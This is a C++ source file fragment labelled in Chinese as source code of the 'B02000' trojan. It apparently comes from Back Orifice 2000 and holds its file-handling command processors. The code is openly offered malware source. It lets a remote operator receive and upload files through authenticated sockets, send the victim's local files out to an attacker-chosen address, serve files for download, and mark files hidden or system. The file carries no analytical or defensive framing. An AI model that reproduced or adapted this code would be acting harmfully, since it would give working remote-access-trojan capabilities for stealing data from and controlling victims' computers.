cmd_file.cpp

VC++著名的B02000木马的源代码 使用VC开发

				if((svParam=BreakString(svEnc,","))!=NULL) {
					if(svParam[0]!='\0') svAuth=svParam;
				}
			}
		}
	}
	if(svBindStr[0]=='\0') {
		svBindStr="RANDOM";
	}
	char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
	if(svNetMod[0]=='\0') {
		svNetMod=cas_from->m_pIOH->pQuery();
	}
	lstrcpyn(svShortNetMod,svNetMod,16);
	BreakString(svShortNetMod,":");
	if(svEnc[0]=='\0') {
		svEnc=cas_from->m_pEE->pQuery();
	}
	lstrcpyn(svShortEnc,svEnc,16);
	BreakString(svShortEnc,":");
	if(svAuth[0]=='\0') {
		svAuth=cas_from->GetAuthHandler()->pQuery();
	}
	lstrcpyn(svShortAuth,svAuth,16);
	BreakString(svShortAuth,":");

	if(svArg3==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply filename.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	CAuthSocket *fas=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
	if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not start listen socket\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	HANDLE hFile=CreateFile(svArg3,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
	if(hFile==INVALID_HANDLE_VALUE) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not create file.\n");
		fas->Close();
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Create transfer thread
	XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
	pArgs->hFile=hFile;
	pArgs->fas=fas;
	pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);

	DWORD tid;
	HANDLE htd=CreateThread(NULL,0,RecvFileThread,pArgs,CREATE_SUSPENDED,&tid);
	if(htd==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.\n");
		CloseHandle(hFile);
		fas->Close();
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Add transfer to table
	fas->GetConnectAddr(g_pXferInfo[g_nXfers].svName,256);
	lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
	g_pXferInfo[g_nXfers].bActive=TRUE;
	g_pXferInfo[g_nXfers].nType=RECV;
	g_pXferInfo[g_nXfers].htd=htd;
	g_nXfers++;	
	LeaveCriticalSection(&g_csXfer);		

	char svMsg[512];
	wsprintf(svMsg, "File recv started on: %.256s,%.16s,%.16s,%.16s\n",
		g_pXferInfo[g_nXfers-1].svName,
		svShortNetMod,
		svShortEnc,
		svShortAuth);
	IssueAuthCommandReply(cas_from,comid,0,svMsg);
	ResumeThread(htd);
	return 0;
}

DWORD WINAPI SendFileThread(LPVOID lpArgs)
{
	HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
	CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
	BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
	free(lpArgs);
	
	// Send file
	
	int ret,count;
	DWORD dwLength=GetFileSize(hFile,NULL);
		
	ret=fas->Send((BYTE*)&dwLength,sizeof(DWORD));
	if(ret>0) {
		count=dwLength;
		while(count>0 && (*pbActive)) {
			BYTE buf[1400];
			DWORD dwBytes;
			ReadFile(hFile,buf,1400,&dwBytes,NULL);
			if(dwBytes>0) {
				fas->Send(buf,(int)dwBytes);
				count-=(int)dwBytes;
			}
		}
		*pbActive=FALSE;
	}	
	fas->Close();
	delete fas;

	CloseHandle(hFile);

	// Remove self from xfer list
	EnterCriticalSection(&g_csXfer);
	int i;
	for(i=0;i<g_nXfers;i++) {
		if(pbActive==&(g_pXferInfo[i].bActive)) {
			if(i<(g_nXfers-1)) {
				memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
			}
			g_nXfers--;
			break;
		}
	}
	LeaveCriticalSection(&g_csXfer);
	
	return 0;
}

int CmdProc_SendFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svAddress=NULL,*svParam=NULL;

	// Check if already started
	EnterCriticalSection(&g_csXfer);
	if(g_nXfers>=MAX_XFERS) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not send. Too many transfers started.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Get parameters

	svAddress=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
	svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
	svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
	svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");

	if((svParam=svArg2)!=NULL) {
		if(svParam[0]!='\0') svAddress=svParam;	
		if((svParam=BreakString(svAddress,","))!=NULL) {
			if(svParam[0]!='\0') svNetMod=svParam;
			if((svParam=BreakString(svNetMod,","))!=NULL) {
				if(svParam[0]!='\0') svEnc=svParam;
				if((svParam=BreakString(svEnc,","))!=NULL) {
					if(svParam[0]!='\0') svAuth=svParam;
				}
			}
		}
	}
	char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
	if(svNetMod[0]=='\0') {
		svNetMod=cas_from->m_pIOH->pQuery();
	}
	lstrcpyn(svShortNetMod,svNetMod,16);
	BreakString(svShortNetMod,":");
	if(svEnc[0]=='\0') {
		svEnc=cas_from->m_pEE->pQuery();
	}
	lstrcpyn(svShortEnc,svEnc,16);
	BreakString(svShortEnc,":");
	if(svAuth[0]=='\0') {
		svAuth=cas_from->GetAuthHandler()->pQuery();
	}
	lstrcpyn(svShortAuth,svAuth,16);
	BreakString(svShortAuth,":");

	if(svArg3==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply local filename.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	CAuthSocket *fas=ConnectAuthSocket(NULL,cas_from->GetUserID(),NULL,svAddress,svNetMod,svEnc,svAuth);
	if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not connect to address.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	HANDLE hFile=CreateFile(svArg3,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	if(hFile==INVALID_HANDLE_VALUE) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open local file.\n");
		fas->Close();
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Create transfer thread
	XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
	pArgs->hFile=hFile;
	pArgs->fas=fas;
	pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);

	DWORD tid;
	HANDLE htd=CreateThread(NULL,0,SendFileThread,pArgs,CREATE_SUSPENDED,&tid);
	if(htd==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.\n");
		CloseHandle(hFile);
		fas->Close();
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Add transfer to table
	fas->GetRemoteAddr(g_pXferInfo[g_nXfers].svName,256);
	lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
	g_pXferInfo[g_nXfers].bActive=TRUE;
	g_pXferInfo[g_nXfers].nType=SEND;
	g_pXferInfo[g_nXfers].htd=htd;
	g_nXfers++;	
	LeaveCriticalSection(&g_csXfer);		

	char svMsg[512];
	wsprintf(svMsg, "File send started to: %.256s,%.16s,%.16s,%.16s\n",
		g_pXferInfo[g_nXfers-1].svName,
		svShortNetMod,
		svShortEnc,
		svShortAuth);

	IssueAuthCommandReply(cas_from,comid,0,svMsg);

	ResumeThread(htd);
	return 0;
}


DWORD WINAPI EmitFileThread(LPVOID lpArgs)
{
	HANDLE hFile=((XFERFILEARGS *)lpArgs)->hFile;
	CAuthSocket *fas=((XFERFILEARGS *)lpArgs)->fas;
	BOOL *pbActive=((XFERFILEARGS *)lpArgs)->pbActive;
	free(lpArgs);
	
	// Receive file
	
	CAuthSocket *child=NULL;
	while(*pbActive) {
		// Accept only one connection
		child=fas->Accept();
		if(child!=NULL) {
			break;
		}
		Sleep(0);
	}
	if(child) {
		int ret,count;
		DWORD dwLength=GetFileSize(hFile,NULL);
		
		while((ret=child->Send((BYTE*)&dwLength,sizeof(DWORD)))==0) Sleep(20);
		if(ret>0) {
			count=dwLength;
			while(count>0 && (*pbActive)) {
				BYTE buf[4096],*pbuf;
				DWORD dwBytes;
				ReadFile(hFile,buf,4096,&dwBytes,NULL);
				pbuf=buf;
				if(dwBytes>0) {
					while((ret=child->Send(buf,(int)dwBytes))==0) Sleep(20);
					if(ret<0) *pbActive=FALSE;
					count-=(int)dwBytes;
				}
			}
			*pbActive=FALSE;
		}	
				
		// close socket
		child->Close();
		delete child;
	}

	fas->Close();
	delete fas;

	// close file
	CloseHandle(hFile);
	
	// Remove self from xfer list
	EnterCriticalSection(&g_csXfer);
	int i;
	for(i=0;i<g_nXfers;i++) {
		if(pbActive==&(g_pXferInfo[i].bActive)) {
			if(i<(g_nXfers-1)) {
				memcpy(g_pXferInfo+i,g_pXferInfo+i+1,g_nXfers-(i+1));
			}
			g_nXfers--;
			break;
		}
	}
	LeaveCriticalSection(&g_csXfer);
	
	return 0;
}

int CmdProc_EmitFile(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	char *svEnc=NULL,*svAuth=NULL,*svNetMod=NULL,*svBindStr=NULL,*svParam=NULL;

	// Check if already started
	EnterCriticalSection(&g_csXfer);
	if(g_nXfers>=MAX_XFERS) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not emit. Too many transfers started.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Get parameters

	svBindStr=GetCfgStr(g_svFileOptions,"File Xfer Bind Str");
	svNetMod=GetCfgStr(g_svFileOptions,"File Xfer Net Type");
	svEnc=GetCfgStr(g_svFileOptions,"File Xfer Encryption");
	svAuth=GetCfgStr(g_svFileOptions,"File Xfer Auth");

	if((svParam=svArg2)!=NULL) {
		if(svParam[0]!='\0') svBindStr=svParam;	
		if((svParam=BreakString(svBindStr,","))!=NULL) {
			if(svParam[0]!='\0') svNetMod=svParam;
			if((svParam=BreakString(svNetMod,","))!=NULL) {
				if(svParam[0]!='\0') svEnc=svParam;
				if((svParam=BreakString(svEnc,","))!=NULL) {
					if(svParam[0]!='\0') svAuth=svParam;
				}
			}
		}
	}
	if(svBindStr[0]=='\0') {
		svBindStr="RANDOM";
	}
	char svShortNetMod[16],svShortEnc[16],svShortAuth[16];
	if(svNetMod[0]=='\0') {
		svNetMod=cas_from->m_pIOH->pQuery();
	}
	lstrcpyn(svShortNetMod,svNetMod,16);
	BreakString(svShortNetMod,":");
	if(svEnc[0]=='\0') {
		svEnc=cas_from->m_pEE->pQuery();
	}
	lstrcpyn(svShortEnc,svEnc,16);
	BreakString(svShortEnc,":");
	if(svAuth[0]=='\0') {
		svAuth=cas_from->GetAuthHandler()->pQuery();
	}
	lstrcpyn(svShortAuth,svAuth,16);
	BreakString(svShortAuth,":");
	if(svArg3==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open. Must supply local filename.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	CAuthSocket *fas=ListenAuthSocket(NULL,cas_from->GetUserID(),NULL,svBindStr,svNetMod,svEnc,svAuth);
	if(fas==NULL || fas==(CAuthSocket *)0xFFFFFFFF) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not bind socket.\n");
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	HANDLE hFile=CreateFile(svArg3,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
	if(hFile==INVALID_HANDLE_VALUE) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not open local file.\n");
		fas->Close();
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Create transfer thread
	XFERFILEARGS *pArgs=(XFERFILEARGS *)malloc(sizeof(XFERFILEARGS));
	pArgs->hFile=hFile;
	pArgs->fas=fas;
	pArgs->pbActive=&(g_pXferInfo[g_nXfers].bActive);

	DWORD tid;
	HANDLE htd=CreateThread(NULL,0,EmitFileThread,pArgs,CREATE_SUSPENDED,&tid);
	if(htd==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not create thread.\n");
		CloseHandle(hFile);
		fas->Close();
		LeaveCriticalSection(&g_csXfer);
		return -1;
	}

	// Add transfer to table
	fas->GetConnectAddr(g_pXferInfo[g_nXfers].svName,256);
	lstrcpyn(g_pXferInfo[g_nXfers].svPath,svArg3,MAX_PATH);
	g_pXferInfo[g_nXfers].bActive=TRUE;
	g_pXferInfo[g_nXfers].nType=EMIT;
	g_pXferInfo[g_nXfers].htd=htd;
	g_nXfers++;	
	LeaveCriticalSection(&g_csXfer);		

	char svMsg[512];
	wsprintf(svMsg, "File emit started from: %.256s,%.16s,%.16s,%.16s\n",
		g_pXferInfo[g_nXfers-1].svName,
		svShortNetMod,
		svShortEnc,
		svShortAuth);
	IssueAuthCommandReply(cas_from,comid,0,svMsg);

	ResumeThread(htd);
	return 0;
}



int CmdProc_ListTransfers(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	EnterCriticalSection(&g_csXfer);
	IssueAuthCommandReply(cas_from,comid,1,"Active transfers list:\n");
		
	int i;
	for(i=0;i<g_nXfers;i++) {
		char svMsg[1024];
		if(g_pXferInfo[i].nType==RECV) {
			wsprintf(svMsg,"Recv on %.256s: %.260s\n",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
		} else if(g_pXferInfo[i].nType==SEND) {
			wsprintf(svMsg,"Send to %.256s: %.260s\n",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
		} else if(g_pXferInfo[i].nType==EMIT) {
			wsprintf(svMsg,"Emit from %.256s: %.260s\n",g_pXferInfo[i].svName,g_pXferInfo[i].svPath);
		}
		IssueAuthCommandReply(cas_from,comid,1,svMsg);
	}
	IssueAuthCommandReply(cas_from,comid,1,"End of list.\n");
	LeaveCriticalSection(&g_csXfer);	
	return 0;
}

int CmdProc_CancelTransfer(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	EnterCriticalSection(&g_csXfer);
		
	// Find transfer entry from pathname
	int i;
	for(i=0;i<g_nXfers;i++) {
		if(lstrcmp(g_pXferInfo[i].svPath,svArg3)==0) {
			break;
		}
	}
	if(i==g_nXfers) {
		IssueAuthCommandReply(cas_from,comid,0,"No such transfer.\n");
		LeaveCriticalSection(&g_csXfer);	
		return -1;
	}
	// Try to cancel transfer
	HANDLE htd=g_pXferInfo[i].htd;
	g_pXferInfo[i].bActive=FALSE;
	LeaveCriticalSection(&g_csXfer);	
	
	if(WaitForSingleObject(htd,5000)!=WAIT_OBJECT_0) {
		IssueAuthCommandReply(cas_from,comid,0,"Couldn't cancel in 5 sec.\n");
		return -1;
	}

	IssueAuthCommandReply(cas_from,comid,0,"Transfer operation canceled.\n");	
	return 0;
}

int CmdProc_SetFileAttr(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
{
	DWORD dwAttr;
	int i,count;
	
	if(svArg3==NULL || svArg2==NULL) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not change attributes. Invalid parameters.\n");	
		return -1;
	}

	dwAttr=0;
	count=lstrlen(svArg3);
	for(i=0;i<count;i++) {
		if(svArg3[i]=='A' || svArg3[i]=='a') dwAttr|=FILE_ATTRIBUTE_ARCHIVE;
		if(svArg3[i]=='H' || svArg3[i]=='h') dwAttr|=FILE_ATTRIBUTE_HIDDEN;
		if(svArg3[i]=='S' || svArg3[i]=='s') dwAttr|=FILE_ATTRIBUTE_SYSTEM;
		if(svArg3[i]=='R' || svArg3[i]=='r') dwAttr|=FILE_ATTRIBUTE_READONLY;
		if(svArg3[i]=='T' || svArg3[i]=='t') dwAttr|=FILE_ATTRIBUTE_TEMPORARY;	
	}
	if(SetFileAttributes(svArg2,dwAttr)==0) {
		IssueAuthCommandReply(cas_from,comid,0,"Could not change attributes.\n");
		return -1;
	}

	IssueAuthCommandReply(cas_from,comid,0,"Attributes changed.\n");
	return 0;
}